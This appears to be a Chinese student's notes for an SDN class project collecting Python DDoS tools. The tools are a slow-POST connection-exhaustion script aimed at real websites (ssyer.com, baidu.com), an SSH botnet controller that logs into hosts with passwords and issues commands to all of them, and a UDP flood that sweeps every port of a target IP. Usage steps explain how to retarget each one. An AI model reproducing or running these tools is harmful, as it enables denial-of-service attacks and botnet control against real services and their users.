sdn
SDN大作业
一、python实现ddos攻击源代码
- 有一个例子 他用了一个插件 不知道可不可以
https://www.jb51.net/article/155870.htm - 代码
#!/usr/bin/env python
import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000 # 最大socket链接量
PORT = 80
HOST = "www.ssyer.com"
PAGE = "/photography"
# ---------------------------
buf = ("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE, HOST))
# 创建socket链接列表,存储上20万个socket
socks = []
# 循环创建socket链接
def conn_thread():
global socks
for i in range(0, MAX_CONN):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((HOST, PORT))
s.send(buf.encode("utf-8"))
print("Send buf OK!,conn=%d\n" % i)
socks.append(s)
except Exception as ex:
print("Could not connect to server or send error:%s" % ex)
time.sleep(1)
# socket循环对目标网站发数据
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f".encode("utf-8"))
print("send f OK!")
except Exception as ex:
print("Send Exception:%s\n" % ex)
socks.remove(s)
s.close()
time.sleep(0.1)
# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
- 下面是一个简单的网络僵尸程序,先通过添加n个客户端的ip和登录账户密码,然后操控这些客户端发动对同一个目标ping的指令。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
#import pxssh
from pexpect import pxssh
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception, e:
print e
print '[-] Error Connecting'
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()
return self.session.before
def botnetCommand(command):
for client in botNet:
output = client.send_command(command)
print '[*] Output from ' + client.host
print '[+] ' + output
def addClient(host, user, password):
client = Client(host, user, password)
botNet.append(client)
botNet = []
#addClient('127.0.0.1', 'root', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('localhost', 'wu_being', 'wu.com')
# addClient('11.22.33.33', 'root', '123456')
# addClient('112.33.43.55', 'root', 'password')
botnetCommand('uname -v')
botnetCommand('ping www.baidu.com -c 4')
#botnetCommand('cat /etc/issue')
- 用法
huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
total 40
-rwxr-xr-x@ 1 huashida staff 1231 11 28 15:22 4-botNet构建SSH僵尸网络.py
-rwxr-xr-x@ 1 huashida staff 1648 11 28 15:16 5-botNet构建SSH僵尸网络ddos.py
-rwxr-xr-x@ 1 huashida staff 1967 11 28 15:16 DoS_constantConn_MultiThread.py
-rwxr-xr-x@ 1 huashida staff 1084 11 28 15:16 dos.py
-rwxr-xr-x@ 1 huashida staff 53 11 28 15:16 sshpass.txt
huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet构建SSH僵尸网络.py
4.DoS, Denial of Service, 拒绝服务,一种常用来使服务器或网络瘫痪的网络攻击手段。
我们要改的是这两处地方 改为:
HOST="127.0.0.1"//你要撸的主机ip地址/域名
PAGE="/welcome/default/index/index.py"//你要撸的页面
#!/usr/bin/env python
import socket
import time
import threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN=200000
PORT=8000
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
global socks
for i in range(0,MAX_CONN):
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((HOST,PORT))
s.send(buf)
print "[+] Send buf OK!,conn=%d\n"%i
socks.append(s)
except Exception,ex:
print "[-] Could not connect to server or send error:%s"%ex
time.sleep(2)
#end def
def send_thread():
global socks
while True:
for s in socks:
try:
s.send("f")
print "[+] send OK! %s"%s
except Exception,ex:
print "[-] send Exception:%s\n"%ex
socks.remove(s)
s.close()
time.sleep(1)
#end def
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()
- 使用Python socket自带库发送数据包
import socket #一句话导入socket库
import random #下面要构建数据包
下面建立一个和目标的socket通讯:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
里面的socket.AF_INET和socket.SOCK_DGRAM是什么意思自己百度。
下来byte = random._urandom(1490) #构建数据包,里面的数据填别的我没啥意见:)
然后发送数据包:
sock.sendto(byte, ("目标IP地址",int(目标端口)))
譬如sock.sendto(byte, ("111.73.29.148",520)),就是给111.73.29.148这个IP的520端口发包(某队友作死让我日他)。
- 代码:
#coding: utf8
print("Initializing...\n")
import socket
import random
#构建socket通讯
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#构建字节数据包
byte = random._urandom(1490)
try:
ip = raw_input("IP Dress: ")
port = raw_input("Port(Leave a blank to attack all of the ports): ")
except:
ip = input("IP Dress: ")
port = input("Port(Leave a blank to attack all of the ports): ")
if port == "":
port = 1
re = True
else:
port = int(port)
re = False
sent = 0
while True:
sock.sendto(byte, (ip,port))
sent = sent + 1
print "Sent %s packet to %s throught port %s." % (str(sent),ip,str(port))
if re:
port = port + 1
else:
pass
if port == 65534:
port = 1

浙公网安备 33010602011771号